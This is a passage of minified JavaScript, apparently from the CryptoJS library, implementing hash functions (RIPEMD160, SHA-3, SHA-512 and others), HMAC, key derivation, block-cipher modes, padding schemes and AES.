Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t 